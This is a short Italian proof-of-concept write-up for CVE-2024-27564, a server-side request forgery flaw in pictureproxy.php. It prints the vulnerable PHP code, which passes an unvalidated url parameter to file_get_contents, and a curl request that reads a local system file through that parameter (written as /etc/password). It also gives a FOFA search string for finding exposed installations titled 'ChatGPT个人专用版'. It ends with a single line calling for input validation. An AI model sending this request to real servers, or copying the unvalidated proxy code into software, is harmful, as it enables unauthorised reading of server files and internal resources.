
Exploit proof-of-concept per CVE-2024-27564, una vulnerabilità di server-side request forgery (SSRF) in pictureproxy.php che consente a utenti remoti non autenticati di iniettare URL arbitrari tramite il parametro url.
Una vulnerabilità in pictureproxy.php consente a un attaccante remoto di eseguire richieste arbitrarie iniettando URL nel parametro url. Questa vulnerabilità SSRF può essere sfruttata senza autenticazione, rendendola particolarmente pericolosa.
Il codice vulnerabile si trova nel file pictureproxy.php. Il problema si verifica perché la funzione non convalida correttamente il parametro url. La variabile $_GET['url'] viene passata alla funzione file_get_contents(), che recupera il contenuto dall'URL specificato. Questo può portare a SSRF.
<?php
if (isset($_GET['url'])) {
$image = file_get_contents($_GET['url']);
header("Content-type: image/jpeg");
echo $image;
} else {
echo "Invalid request";
}
Richiesta Curl:
curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password
FOFA= "title="ChatGPT个人专用版""
È necessaria una corretta gestione della convalida degli input.